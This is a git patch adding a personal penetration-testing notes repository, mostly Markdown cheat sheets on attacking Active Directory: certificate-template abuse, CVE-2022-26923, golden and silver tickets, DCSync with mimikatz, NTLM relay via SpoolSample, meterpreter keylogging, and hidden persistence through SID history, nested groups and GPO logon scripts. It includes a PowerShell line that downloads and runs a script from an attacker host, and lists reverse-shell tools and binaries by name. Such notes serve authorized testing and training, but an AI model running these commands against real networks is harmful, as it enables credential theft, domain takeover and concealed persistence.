From bf10390dc5b04412d0832d4e448f5c13238ba463 Mon Sep 17 00:00:00 2001 From: whx Date: Sun, 13 Nov 2022 16:00:22 +0100 Subject: [PATCH] restructured Misc and RevShells --- Enumeration/Aircrack-ng.md | 32 ++ Enumeration/References.md | 4 + Enumeration/SIPVicious.md | 7 + Miscellaneous/Active Directory/AD_CS.md | 82 +++++ .../Active Directory/active_directory.md | 186 ++++++++++ .../Active Directory/ad_enumeration.md | 117 ++++++ .../Active Directory/ad_misconfiguration.md | 183 ++++++++++ .../Active Directory/ad_persistence.md | 198 +++++++++++ .../Active Directory/gaining_foothold_AD.md | 116 ++++++ .../Active Directory/lateral_movement.md | 264 ++++++++++++++ Miscellaneous/Active Directory/powerview.ps1 | 207 +++++++++++ Miscellaneous/BPF Filter.md | 333 ++++++++++++++++++ Miscellaneous/Bash.md | 3 + Miscellaneous/ClamAV.md | 23 ++ Miscellaneous/Diamond Model.md | 62 ++++ Miscellaneous/Hadoop.md | 57 +++ Miscellaneous/Killchains.md | 65 ++++ Miscellaneous/Metasploit.md | 95 +++++ Miscellaneous/References.md | 3 + Miscellaneous/Responder.md | 21 ++ Miscellaneous/SMTP.md | 3 + Miscellaneous/Sandbox Evasion.md | 42 +++ Miscellaneous/Snort.md | 142 ++++++++ Miscellaneous/Threat Intelligence/Isac.md | 47 +++ Miscellaneous/Threat Intelligence/Loki.md | 1 + Miscellaneous/Threat Intelligence/Osquery.md | 88 +++++ Miscellaneous/Threat Intelligence/Pithus.md | 3 + Miscellaneous/Threat Intelligence/SIEM.md | 30 ++ Miscellaneous/Threat Intelligence/Splunk.md | 77 ++++ Miscellaneous/Threat Intelligence/Yara.md | 40 +++ Miscellaneous/Upload to Target.md | 14 + Miscellaneous/Win32.md | 42 +++ Miscellaneous/Windows Hardening.md | 88 +++++ Miscellaneous/gitTools.md | 11 + Reverse Shells/Firewall Bypass.md | 108 ++++++ Reverse Shells/Powershell.md | 10 + Reverse Shells/References.md | 18 + Reverse Shells/Tools/bind-shell.php | 138 ++++++++ Reverse Shells/Tools/ncat.exe | Bin 0 -> 2332672 bytes Reverse Shells/Tools/node_shell.py | 129 +++++++ Reverse Shells/Tools/pentestmonkey-rev.py | 192 ++++++++++ Reverse Shells/Tools/socat_static.bin | Bin 0 -> 375176 bytes Reverse Shells/Tools/sock_shell.py | 10 + Reverse Shells/Upgrade Shell.md | 52 +++ Reverse Shells/Webshell.md | 13 + Reverse Shells/evil-winrm.md | 33 ++ Reverse Shells/msfconsole.md | 12 + Reverse Shells/msfvenom.md | 97 +++++ Reverse Shells/netcat.md | 28 ++ Reverse Shells/socat.md | 54 +++ 50 files changed, 3580 insertions(+) create mode 100644 Enumeration/Aircrack-ng.md create mode 100644 Enumeration/SIPVicious.md create mode 100644 Miscellaneous/Active Directory/AD_CS.md create mode 100644 Miscellaneous/Active Directory/active_directory.md create mode 100644 Miscellaneous/Active Directory/ad_enumeration.md create mode 100644 Miscellaneous/Active Directory/ad_misconfiguration.md create mode 100644 Miscellaneous/Active Directory/ad_persistence.md create mode 100644 Miscellaneous/Active Directory/gaining_foothold_AD.md create mode 100644 Miscellaneous/Active Directory/lateral_movement.md create mode 100644 Miscellaneous/Active Directory/powerview.ps1 create mode 100644 Miscellaneous/BPF Filter.md create mode 100644 Miscellaneous/Bash.md create mode 100644 Miscellaneous/ClamAV.md create mode 100644 Miscellaneous/Diamond Model.md create mode 100644 Miscellaneous/Hadoop.md create mode 100644 Miscellaneous/Killchains.md create mode 100644 Miscellaneous/Metasploit.md create mode 100644 Miscellaneous/References.md create mode 100644 Miscellaneous/Responder.md create mode 100644 Miscellaneous/SMTP.md create mode 100644 Miscellaneous/Sandbox Evasion.md create mode 100644 Miscellaneous/Snort.md create mode 100644 Miscellaneous/Threat Intelligence/Isac.md create mode 100644 Miscellaneous/Threat Intelligence/Loki.md create mode 100644 Miscellaneous/Threat Intelligence/Osquery.md create mode 100644 Miscellaneous/Threat Intelligence/Pithus.md create mode 100644 Miscellaneous/Threat Intelligence/SIEM.md create mode 100644 Miscellaneous/Threat Intelligence/Splunk.md create mode 100644 Miscellaneous/Threat Intelligence/Yara.md create mode 100644 Miscellaneous/Upload to Target.md create mode 100644 Miscellaneous/Win32.md create mode 100644 Miscellaneous/Windows Hardening.md create mode 100644 Miscellaneous/gitTools.md create mode 100644 Reverse Shells/Firewall Bypass.md create mode 100644 Reverse Shells/Powershell.md create mode 100644 Reverse Shells/References.md create mode 100644 Reverse Shells/Tools/bind-shell.php create mode 100644 Reverse Shells/Tools/ncat.exe create mode 100644 Reverse Shells/Tools/node_shell.py create mode 100644 Reverse Shells/Tools/pentestmonkey-rev.py create mode 100644 Reverse Shells/Tools/socat_static.bin create mode 100644 Reverse Shells/Tools/sock_shell.py create mode 100644 Reverse Shells/Upgrade Shell.md create mode 100644 Reverse Shells/Webshell.md create mode 100644 Reverse Shells/evil-winrm.md create mode 100644 Reverse Shells/msfconsole.md create mode 100644 Reverse Shells/msfvenom.md create mode 100644 Reverse Shells/netcat.md create mode 100644 Reverse Shells/socat.md diff --git a/Enumeration/Aircrack-ng.md b/Enumeration/Aircrack-ng.md new file mode 100644 index 0000000..00a7b09 --- /dev/null +++ b/Enumeration/Aircrack-ng.md @@ -0,0 +1,32 @@ +# aircrack-ng + +[From the website](https://www.aircrack-ng.org): +Aircrack-ng is a complete suite of tools to assess WiFi network security. + +It focuses on different areas of WiFi security: + +* Monitoring: Packet capture and export of data to text files for further processing by third party tools +* Attacking: Replay attacks, deauthentication, fake access points and others via packet injection +* Testing: Checking WiFi cards and driver capabilities (capture and injection) +* Cracking: WEP and WPA PSK (WPA 1 and 2) + + +## airmon-ng + +* Monitor on interface +```sh +airmon-ng start +``` + +## airodump-ng + +* Capture traffic + +## aircrack-ng + +* Use captured network traffic to crack +* Specify targets via common options +* Create hashcap files as `HCCAPX` or `HCCAP` +```sh +aircrack-ng -w -b -j +``` diff --git a/Enumeration/References.md b/Enumeration/References.md index 9e8347d..423d718 100644 --- a/Enumeration/References.md +++ b/Enumeration/References.md @@ -21,3 +21,7 @@ ## CMS [Typo3Scan](https://github.com/whoot/Typo3Scan.git) + +## Telecommunications + +[SIPVicious](https://github.com/EnableSecurity/sipvicious.git) diff --git a/Enumeration/SIPVicious.md b/Enumeration/SIPVicious.md new file mode 100644 index 0000000..bca3aa5 --- /dev/null +++ b/Enumeration/SIPVicious.md @@ -0,0 +1,7 @@ +# Sipvicious + +* [Enable Security](https://github.com/EnableSecurity/sipvicious.git) + +# Enumeration +* Check which PBX is used via `svmap $TARGET_IP` +* Use `msf6 auxiliary(voip/asterisk_login)` diff --git a/Miscellaneous/Active Directory/AD_CS.md b/Miscellaneous/Active Directory/AD_CS.md new file mode 100644 index 0000000..9e39e8c --- /dev/null +++ b/Miscellaneous/Active Directory/AD_CS.md @@ -0,0 +1,82 @@ +## Active Directory Certificate Service ADCS + +* Internal CA +* PKI +* File system encryption +* Digital signatures +* User authentication + +* __Certificates will not be revoked after account password reset__ + +## Certificate Templates + +* Extended/Enhanced Key Usage (EKU) +* Parameter combination can be exploited +* User Certificates may be requested from a member of a Domain User Group +* Machine Certifcates may be requested from a host of a Domain Computer Group + +### Enumeration + +* [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) + +```sh +certutil -v -template > ct.txt +``` + +Exploitable templates should have the following traits: +* `Allow Enroll` or `Allow Full Control` permissions to request certificate + * Find groups by `net user /domain` --> `Domain Users`, `Domain Computers` +* Client authentication EKU for Kerberos authentication --> `Client Authentication` +* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` + +### Certificate Creation + +* `Win+R` --> `mmc` --> `File` --> `Add/Remove Snap-in` --> `Certificates` (Request Certificate if administration account --> Computer Account) +* After that in the main menu, `Certificates` --> right click on `Personal` --> `All Tasks` --> `Request Certificates` --> `Next` --> `Next` --> `More information is required to enroll this certificate` --> `Common Name` --> `CN=concerto` && `User Principal Name` is the user to impersonate --> `OK` --> select `User Request` --> `Enroll` +* After that in the main menu, `Personal` --> `Certificates` --> __The certificate__ +* Right click certificate --> `All Tasks` --> `Export` --> `Yes, export private key` --> `PFX` --> set `Password` --> Save + +### Impersonation + +* Request TGT with the created cert +* Grab TGT + +* On the machine via +```sh +Rubeus.exe asktgt /user: /enctype:aes256 /certificate: /password: /outfile: /domain: /dc: +``` +* Select a domain admin via opening `Active Directory Users and Computers` +```sh +.\Rubeus.exe changepw /ticket: /new: /dc: /targetuser:\ +``` +* `runas /user:\ cmd.exe` + +* Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain +```sh +privilege::debug +kerberos::ptt +exit +dir \\\$\ +``` + +## CVE-2022-26923 + +* Aims on abusing templates configuration, the Subject Alternative Name `SAN`. Set it to someone with higher permissions +* User and Machine certificate templates +* User Principal Name is used for `SAN`, this template can not be modified in a way to escalate privileges +* Computer accounts DNS name is used for `SAN` +* Users of the Authenticated Users Group can create 10 Machine Certificates +* __DNS hostname__ is used for authentication +* __Service Principal Names (SPN)__, associates a service logon with a service instance. SPNs are unique +* Permissions of interest, all two are needed + * Validate write to DNS hostname allows to update DNS hostname of AD object associated with the host + * Validate write to SPN, update SPN of the AD object associated with the host + +### Usage + +* User account has to be compromised, use it to enrol a new host on the domain +* Alter the DNS hostname attribute of the AD Object to one of a Domain Controller or other higher privilege +* Remove the SPN attribute to bypass the unique SPN +* With the default template request the machine cert +* authenticate via Kerberos with the template as the higher privileged machine + diff --git a/Miscellaneous/Active Directory/active_directory.md b/Miscellaneous/Active Directory/active_directory.md new file mode 100644 index 0000000..a434dde --- /dev/null +++ b/Miscellaneous/Active Directory/active_directory.md @@ -0,0 +1,186 @@ +# Active Directory Enumeration + +* Offers authentication in the form of centralized __IAM__ a.k.a __SSO__ and authentication via __Policy Management__ +* There are user accounts acting on machine accounts (services), in general + +* Consists of + * __Domain Controller__ + * __Organizational Units__, (security principals) can be common user or machine accounts + * Users + * Groups + * __Trusts__ + * __AD Domains__ + * __AD Forest__ + * __Policies__ + +* Administrative accounts are + * __Domain Admin__ + * __Enterprise Admin__ + * __Schema Admin__ + * __Server Operator__ + * __Account Operator__ + +## Domain Controller + +* AD Domain Services (AD DS) data store stores all objects on the network +* Authentication and authorization +* Update replication / sync with other domain controllers in the forest +* Administration of domain resources + +### AD DS Store + +* Database of directory info such as users, groups and services + * `ntdis.dit` contains the information, including password hashes + * `SystemRoot%\NTDS` + +### Forest + +Consists of the following objects + +* __Trees__, hierarchy of domains in the AD Domain Services +* __Domains__, groups of objects +* __Organizational Units (OU)__, containers of objects such as groups, users, printers and other resources +* __Trusts__, allows users to access resources in a different domain +* __Objects__ users, groups, printers, computers or shares +* __Domain Services__, DNS, LLMNR, SMB +* __Domain Schema__, Rules for object creation + +### Users + +* __Domain Admin__, DC access +* __Server Accounts__, service maintenance, may have admin permissions +* __Local Admin__, administrative persmission on an object but not the DC +* __Domain Users__, average user account on a local machine which may have admin permissions + +* __Machine users__, + * Machine accounts have local administrational permissions + * Can be recognized by a `$` at the end of the ID + * Their passwords are rotated on a schedule + * Passwords are 120 characters long per default + +### Security Groups + +Important groups are the following + +* __Domain Controllers__, every DC in the domain +* __Domain Admins__, dc access +* __Server Operators__, administration of domain controllers but not groups +* __Backup Operators__, full read access to any file +* __Account Operators__, able to provision accounts +* __Domain Users__, every user account in the domain +* __Domain Computers__, every machine account in the domain + +* [Security Groups doc](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups) + +### Policies + +* Rule sets +* Apply to a domain +* Enable or disables services on a domain basis, like antivirus and malware scanning + * __Disable Windows Defender__ + * Communication signing, e.g. SMB + +### Domain Services + +* __LDAP__ +* __Certificates__ handling for services, CRL +* __DNS, LLMNR, NBT-NS__ + +### Authentication + +* __NTLM__, ticket granting service +* __Kerberos__, challenge/response via hashes + + +## Enumration + +* Cmdlets on Domain Controller +* Get some help, `Get-Help Get-Command -Examples`, `Get-Command Get-*` + +* From `ActiveDirectory` module +```sh +Import-Module Active-Directory +Get-ADDomain | Select-Object NetBIOSName,DNSRoot,InfrastructureMaster +Get-ADForest | Select-Object Domains +Get-ADTrust -Filter * | Select-Object Direction,Source,Target +``` + +* `systeminfo | findstr Domain` +* `Get-ADUser -filter *` +* Use found CN and DC and specify +* `Get-ADUser -filter * -searchBase "CN=Users,DC=,DC="` + +### Powerview Module + +* [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) +```sh +Import-Module .\PowerView.ps1 +Get-NetDomain +Get-NetDomainController +Get-NetForest +Get-NetDomainTrust +``` + +### DNS +* Check ip via `ipconfig` +* `nslookup`, then `server ` and zone transfer via +```sh +ls -d +``` + +### Tips & Tricks + +* Download and execute in one line +```sh +powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%:8000/PowerVi +ew.ps1'); Get-NetUser | select samaccountname, description" +``` + +## Configuration + +### Configure Users and Groups + +* Use Start -> "Active Directory and Computers" to provision AD objects via __organizational units (OU)__ +* A set of users as a group with set policies are defined as __organizational unit (OU)__ +* A user is unique to a single OU + +* Default OUs are the following + * __Builtin__ + * __Users__, user accounts + * __Computers__, machine accounts + * __Domain Controllers__, contains DC in the domain + * __Managed Service Accounts__, service accounts in the domain + +* To __delete__ a OU use `View` -> `Advanced Features`. Properties menu of the OU via right click shows the checkbox `Protect object from accidental deletion` under `Object` tab -> uncheck it and delete the OU afterwards + +* To __delegate__ open properties with right click -> `Next` -> `Delegate Control` -> `Add` -> Choose user and OK -> `Next` -> Choose tasks to delegate -> `Next` -> `Finish` + +* To __change__ a user password via powershell +```sh +Set-ADAccountPassword -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose +``` +* To let the user __change__ the password at the next login +```sh +Set-ADUser -ChangePasswordAtLogon $true -Identity -Verbose +``` + +### Managing Machine Users + +* `Computer` OU should be split into at least `Workstations` and `Servers` + +### Group Policies + +* __Group Policy Objects__ are applied to OUs + +* Use the application `Group Policy Management` to apply policies to UOs +* GPOs under `Group Policy Objects` for the specific domain can be modified. These will be inherited to all UOs. You can see the links to the OUs on the right hand site if you click the GPO on the left +* Child OUs inherit the policies from parent UOs +* `Security Filters` can be set as well here +* The `Settings` tab of a policy shows its actual content +* Right click on a Policy -> `Edit` to change the content of the policy. There are templates for multiple common policies + +* `SYSVOL` as a SMB share is used to distribute the GPOs in the domain, it maps to `C:\Windows\SYSVOL\sysvol\` on the domain controller +* To force an update of changed policies across the domain do +```sh +gpupdate /force +``` diff --git a/Miscellaneous/Active Directory/ad_enumeration.md b/Miscellaneous/Active Directory/ad_enumeration.md new file mode 100644 index 0000000..e2d88d5 --- /dev/null +++ b/Miscellaneous/Active Directory/ad_enumeration.md @@ -0,0 +1,117 @@ +# Enumerate Active Directory + +Enumeration following after initial credentials are gained + + +## SYSVOL + +* On windows use `runas` and gain local administrative permissions via +```sh +runas.exe /netonly /user:%FQDNORNETBIOSDOMAIN%\%USERNAME% cmd.exe +``` +* Check validity of credentials against `SYSVOL`, it stores __Group Policy Objects (GPO)__. Every AD account will gain access + * Query DNS, for example the DC +```sh +$dnsip = "" +$index = Get-NetAdapter -Name '' | Select-Object -ExpandProperty 'ifIndex' +Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip +``` + * Check `SYSVOL` afterwards via `hostname` to verify via Kerberos auth +```sh +dir \\%HOSTNAME%\SYSVOL\ +``` + * Check `SYSVOL` via `IP` address to force `NTLM` authentication + +## Microsoft Management Console (MMC) + +* Use AD Snap-ins of `Remote Server Administrative Tools` + * Start -> Apps & Features -> Manage Optional Features -> Add a feature -> Search `RSAT` -> Select `RSAT: Active Directory Domain Services and Lightweight Directory Tools` -> Install + * `Win` + `r` -> `MMC` -> File -> Add/Remove Snap-in -> add 3 AD feature snap-ins -> right click `Active Directory Sites and Services` -> `Change Forest` -> Add root domain -> right click `Active Directory Users and Computers` -> Change Domain -> enter root domain -> right click `Active Directory Users and Computers ` -> View -> Advanced Features + * Start enumerating via click on the domain object in the tree on the left + * Take a look at `People` directory -> right click on them to see properties + * Change or create user or change groups + * Also use `MMC` to enumerate + +## CMD enumeration + +Execute from domain joined machine + +* Users +```sh +net user /domain +``` +* Specific user +```sh +net user /domain +``` +* Groups +```sh +net group /domain +``` +* Specific group +```sh +net group /domain +``` +* Password Policy via accounts +```sh +net accounts /domain +``` + +## Powershell Cmdlets + +* User details via +```sh + Get-ADUser -Identity -Server -Properties * +``` +* Groups +```sh +Get-ADGroup -Identity Administrators -Server exampleDC.com -Properties * +``` +* Group membership +```sh +Get-ADGroupMember -Identity Administrators -Server exampleDC.com +``` +* Generic AD objects +```sh +Get-ADObject -Filter -includeDeletedObjects -Server exampleDC.com +Get-ADObject -Filter 'badPwdCount -gt 0' -Server exampleDC.com +``` +* Domains +```sh + Get-ADDomain -Server exampleDC.com +``` + +## Sharphound and Bloodhound + +* [BloodHound documentation](https://bloodhound.readthedocs.io/en/latest/index.html#) + +* Change to AD user via `runas.exe` and collect via one of the following + * Sharphound.ps1 + * sharphound.exe + * Azurehound.ps1 + +* For example +```sh +Sharphound.exe --CollectionMethods --Domain example.com --ExcludeDCs +``` +* After some time collect the current sessions via +```sh +Sharphound.exe --CollectionMethods Session --Domain example.com --ExcludeDCs +``` +* Start neo4j db +```sh +neo4j console start +``` +* Start bloodhound +```sh +bloodhound --no-sandbox +``` +* Drag and Drop the zip file from Sharphound +* Either search for AD objects and use `Analysis` to find an attack path through the info on the edges +* Shows exploitable accounts in the `Analysis` tab, for example kerberroastable accounts + +## LDAP + +## PowerView + +## WMI diff --git a/Miscellaneous/Active Directory/ad_misconfiguration.md b/Miscellaneous/Active Directory/ad_misconfiguration.md new file mode 100644 index 0000000..1ca3427 --- /dev/null +++ b/Miscellaneous/Active Directory/ad_misconfiguration.md @@ -0,0 +1,183 @@ +# Active Directory Misconfigurations + +## Permission Delegation + +* Permissions to functions may be delegated as a standard functions itself +* Privilege creep becomes a problem eventually +* Discretionary ACLs are controlled by Access Control Entries (ACEs) + +### The following ACEs are critical and prone to be exploited + +* __GenericAll__, complete control and creation of an object +* __ForceChangePassword__, change the password of a user and sometimes administrator passwords +* __AddMembers__, add a user to an existing group +* __GenericWrite__, update any non-protected parameters of the target, e.g. paths to scripts. +* __WriteOwner__, change owner of a target object. +* __WriteDACL__, create new ACEs to an object's DACL +* __AllExtendendRights__ all control over an object's permission + +### Tools to exploit ACEs + +* AD-RSAT +* Powersploit + +* BloodHound, check permissions to target + +### Usage + +* Add user to a group via powershell +```sh +Add-GroupMember "" -Members "" +``` + +* List info about groups, preferably administration groups +```sh +Get-ADGroupMember -Identity "" +``` + +* __Set new password for user__, afterwards reconnect session +```sh +$Password = ConvertTo-SecureString "password123#" -AsPlainText -Force +Set-ADAccountPassword -Identity "" -Reset -NewPassword $Password +``` + +## Kerberos Delegation + +* Unconstrained (without limit) delegation, [exploit](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976) +* Constrained delegation +* Resource based constrained delegation (RBCD), service owner specifies which resources can bind. Set by [msDS-AllowedToActOnBehalfOfOtherIdentity](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) + +### Delegatable Services + +* __HTTP__ +* __CIFS__ +* __LDAP__ +* __HOST__ +* __MSSQL__ + +### Usage + +* Enumerate via powerview +```sh +Import-Module .\PowerView.ps1 +Get-NetUser -TrustedToAuth +``` + +## Automated Relays + +### Machine Accounts + +* Administrative machine account of one host having administrative permissions over another host + +### Printers + +* Target has to have an SMB server +* Spooler, PetitPotam, PrintNightmare are printer exploits +* Query printer services through a servers domain +```sh +GWMI Win32_Printer -Computer +Get-PrinterPort -ComputerName +``` +* SMB signing may be enabled but must not be enforced in order for the exploit to work, check via +```sh +nmap --script smb2-securitymode -p 445 printer.example.com plotter.example.com +``` +* Start SMB relay on attacker, use IP instead of domain to trigger NTLM auth +```sh +ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug +``` +* Authenticate on attacker with the credentials already gained from a windows computer +```sh +SpoolSample.exe "$ATTACKER_IP" +``` +* Authenticate with the received credential +```sh +ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug -c 'whoami /all' -debug +``` + +## Active Directory Users + +### Credentials + +### Keylogging + +* With a meterpreter shell migrate to an active user's process and set a keylogger +```sh +migrate +keyscan_start +``` +* To inspect the results +```sh +keyscan_dump +``` + +## Group Policy Objects + +* Every `GPO` has a `GUID` +* Local Policies are configured for application rules for FW, Windows-Defender, Applocker + * Other local policies are group memberships, startup config, protocols + * Group policies change configuration of these remotely over AD +* `GPOs` are stored on the `SYSVOL` to be distributed to any machine in the domain + +### Usage + +* Target is to add the user to either an RDP or SSH group and to connect via this group afterwards +* Start a `cmd` with a AD user and execute `mmc` through it +```sh +runas /netonly /user:\ cmd.exe +mmc +``` +* Check connection of the `cmd.exe` via +```sh +dir \\\sysvol +``` +* Click `File` -> Add/Remove Snap-in -> `Group Policy Management` -> `OK` +* On the left tree do `Group Policy Management` -> `Forest bla` -> `Domains` -> `` -> `Server` -> `Management Servers` and right click to edit the group +* On the left tree `Computer Configuration` -> `Policies` -> `Windows Settings` -> `Security Settings` -> right click `Restricted Groups` -> `Add Group` -> name like `IT Support` -> edit the group and Add `Administrators` and `Remote Desktop Users` groups + +## Certificates + +* [AD Certificate Services](./AD_CS.md) + +## Domain Trusts + +* Domain Trusts offer access to resources to users in the domain + * Directional, from trusted domain to another truster domain + * Transitive, beyond more than just one other domain + + +* Pwn parent child relationship between directional domain trusts via krbtgt and a golden ticket +* `krbtgt` as an account signs and encrypts TGTs +* Crafting a golden ticket by becoming a TGS. Following info is needed + * FQDN + * Security identifier of the domain (SI) + * Target's username + * __KRBTGT password hash__ store on the DC + +### Usage + +* `KRBTGT` via Mimikatz, resulting in `Hash NTLM` +```sh +privilege::debug +lsadump::dsync /user: +``` +* Craft the ticket with the help of this hash + +* Alternatively, InterRealm TGTs are used to get resources between domains in order to pwn the parent by adding the Enterprise Admin group as an extraSID,commonly this is `S-1-5-21--519` +* SID of Child DC is needed, as well as the SID of the Enterprise Admin in the parent domain +* Get child SIDs via +```sh +Get-ADComputer -Identity "" +``` +* Get parent SID via +```sh +Get-ADGroup -Identity "Enterprise Admins" -Server +``` +* Include additional SIDs from other domains into `KERB_VALIDATION_INFO` via Mimikatz +```sh +privilege::debug +kerberos golden /user:Administrator /domain: /sid: /service:kbtgt /rc4: /sids: /ptt +exit +dir \\DCdomain\dir$ +dir \\Parentdomain\dir$ +``` diff --git a/Miscellaneous/Active Directory/ad_persistence.md b/Miscellaneous/Active Directory/ad_persistence.md new file mode 100644 index 0000000..7ae4c90 --- /dev/null +++ b/Miscellaneous/Active Directory/ad_persistence.md @@ -0,0 +1,198 @@ +# Active Directory Persistance + + +## Using Credentials + +* __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest +* __DC Synchronisation__ is the process of syncing credentials between domain controllers, it can be used to gather credentials + * Credentials for multiple local administrators + * Service account with delegation permissions + * __Service accounts with high AD permissions__, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM) + +### Usage + +* Use mimikatz +```sh +lsadump::dcsync /domain: /user: +``` +* To query the krbtgt user +```sh +lsadump::dcsync /domain: /user:krbtgt. +``` +* Query everything +```sh +lsadump::dcsync /domain: /all +``` + +## Using Tickets + +* __Golden Ticket__ crafted TGT, + * Needs domain name, domain SID and a user ID to impersonate + * Needs krbtgt NTLM to sign the ticket + * krbtgt hash never rotates automatically, only refreshed manually + * krbtgt hash bypasses smart cards + * TGT can not be older than 20 minutes + * TGT lifetime can be set to years + * TGT can be signed anywhere as long as the krbtgt hash is known + +* __Silver Ticket__ crafted TGS + * Signed by targeted service account on a host + * DC is never contacted, no contact to any TGT or KDC + * Non existing user can be used with a local admin group's SID + +### Usage + +* Craft a golden ticket +```sh +Get-ADDomain +``` +```sh +kerberos::golden /admin:MyLittleAdministrator /domain: /id:500 /sid: /target: /rc4: /service:cifs /ptt +``` + +## Using Certificates + +* Private key extraction via mimikatz which makes it exportable +```sh +crypto::certificates /systemstore:local_machine +privilege::debug +crypto::capi +crypto::cng +crypto::certificates /systemstore:local_machine /export +``` +* Password of the certificate is `mimikatz` afterwards +* Use [ForgeCert](https://github.com/GhostPack/ForgeCert) to create certificate +```sh +ForgeCert.exe --CaCertPath .pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@ --NewCertPath Administrator.pfx --NewCertPassword SecretPassword +``` +* +* Use Rubeus to request the TGT via +```sh +Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain: /dc: +``` +* Load the TGT via mimikatz +```sh +privilege::debug +kerberos::ptt administrator.kirbi +dir \\\C$\ +``` + +## Using SID History + +* Account logs on -> associated SIDs (group SIDs) added to the user's token -> permissions are set in this way +* SIDs of controlled accounts may be added to the history +* Add Administrator group to the associated SIDs / the token +* `ntds.dit` stores all AD info +* User does not come up on checking groups, the user stays hidden unless searched for explicitly + +### Usage + +* Check SID history +```sh +Get-ADUser -properties sidhistory,memberof +``` +* Check SID of domain admins +```sh +Get-ADGroup "Domain Admins" +``` +* Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit` +```sh +Stop-Service -Name ntds -force +Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit +Start-Service -Name ntds +``` +* Verify users SIDs +```sh +Get-ADUser -Properties sidhistory +dir \\\C$\ +``` + +## Using Group Memberships + +* Most are monitored security wise +* Interesting group for persistence are + * `IT Support` + * Local administrational accounts + * Groups with ownership over GPO +* Nested groups are used to organize an AD + * `Helpdesk`, `Network Manager` is a nested group of `IT Support` +* Joining a nested groups is not as alerting as joining a more general group + +### Usage + +* Create a new subgroup +```sh +New-ADGroup -Path "OU=IT,OU=People,DC=,DC=,DC=COM" -Name " Steam Network 1" -SamAccountName "_steam_network1" -DisplayName " Steam Network 1" -GroupScope Global -GroupCategory Security +``` +* And nesting another one +```sh +New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name " Steam Network 2" -SamAccountName "_steam_network2" -DisplayName " Steam Network 2" -GroupScope Global -GroupCategory Security + +Add-ADGroupMember -Identity "_steam_network2" -Members "_steam_network1" +``` + +* Do it a couple of times again and add the last group to Domain Admins +```sh +Add-ADGroupMember -Identity "Domain Admins" -Members "_2" +``` + +* Add the low priv user to the first group +```sh +Add-ADGroupMember -Identity "_steam_networks1" -Members "" +``` + +* And check +```sh +dir \\\c$\ +``` +* Verify nested group +```sh +Get-ADGroupMember -Identity "Domain Admins" +``` + +## Using ACLs + +* AD group templates like `AdminSDHolder` can be used to copy its ACL through the AD's protected groups + * Domain Admins + * Administrators + * Enterprise/Schema Administrator +* SDProp as a process maps the ACLs to protected groups every hour + +## Usage + +* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` +* File -> Add Snap-In -> Active Directory Users and Groups +* View -> Advanced Features +* AdminSDHolder group in Domain -> System +* Right click the group -> Properties -> Security -> Add user and Check Names -> OK -> Allow on Full Control -> Apply -> OK + +* Add the user to other groups with the new propagated permissions + +## Using GPOs + +* Restricted Group Memberships, admin access to every host in the domain +* Logon Script Deployment, get a shell when a user logs in + +### Usage + +* Craft a portable executable shell via meterpreter +* Craft a batch script +```sh +copy \\\sysvol\\scripts\shell.exe C:\windows\tmp\_shell.exe && timeout /t 20 && C:\windows\tmp\shell.exe +``` +* Copy both to the sysvol +* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` +* File -> Add/Remove Snap-in -> Group Policy Management -> Add -> OK +* Right click Admins OU -> Create GPO in the domain -> link it -> name it +* Right click created policy -> Enforced +* Right click created policy -> edit -> User Configuration / Policies -> Window Settings -> Scripts (logon/logoff) +* Right click Logon -> Properties -> Scripts tab -> Add -> Browse +* Select the previously created batch script and PE +* Catch the shell when an admin logs on + +* Once again open mmc +* Right click Enterprise Domain Controllers -> Edit settings, delete, modify security +* Click on every other group except Authenticated Users and remove them + +* Add -> `Domain Computers` -> check names - OK +* Read Permissions -> OK -> Authenticated Users -> Remove diff --git a/Miscellaneous/Active Directory/gaining_foothold_AD.md b/Miscellaneous/Active Directory/gaining_foothold_AD.md new file mode 100644 index 0000000..50f9330 --- /dev/null +++ b/Miscellaneous/Active Directory/gaining_foothold_AD.md @@ -0,0 +1,116 @@ +# Active Directory - Gain Foothold + +* Methods of aquiring the first set of credentials + + +## Aquire credentials + +### OSINT + +* Discover info about the target via + * Questions asked on Stack Overflow + * Credentials set in (github) repos + * Past breaches, [haveIbeenpwned](https://haveibeenpwned.com/), [DeHashed](https://www.dehashed.com/) + +### Phishing + +* Gain credentials via eMail + +## NTLM Authenticated Services + +* Windows Authentication on NetNTLM is a Challenge-Response protocol used to deliver a challenge and the result on behalf of a user -- through the application -- to the DC +* These may be exposed to the Internet. For example + * Mail exchange, OWA webmail + * RDP + * VPN endpoints + * Web applications using something like SSO via AD + +* Use these applications to either brute force / spraying passwords to found IDs or to verify previously aquired IDs and their passwords + +## LDAP Bind Credentials + +* LDAP may be integrated into an AD Forest. An application may verify an LDAP account with the help of AD credentials at the DC. +* Third party programs may use LDAP like + * CUPS + * VPNs + * gitlab + +### LDAP Pass-Back + +* After gaining access to a device's config including LDAP parameters, reroute its IP to your own IP. This may be done via web UIs. +* Use an LDAP server to catch the credentials. Only PLAIN and LOGIN authentication must be allowed in order to gain the credentials. + * OpenLDAP +```sh +dpkg-reconfigure -p low slapd +``` + * Skip reconfiguration 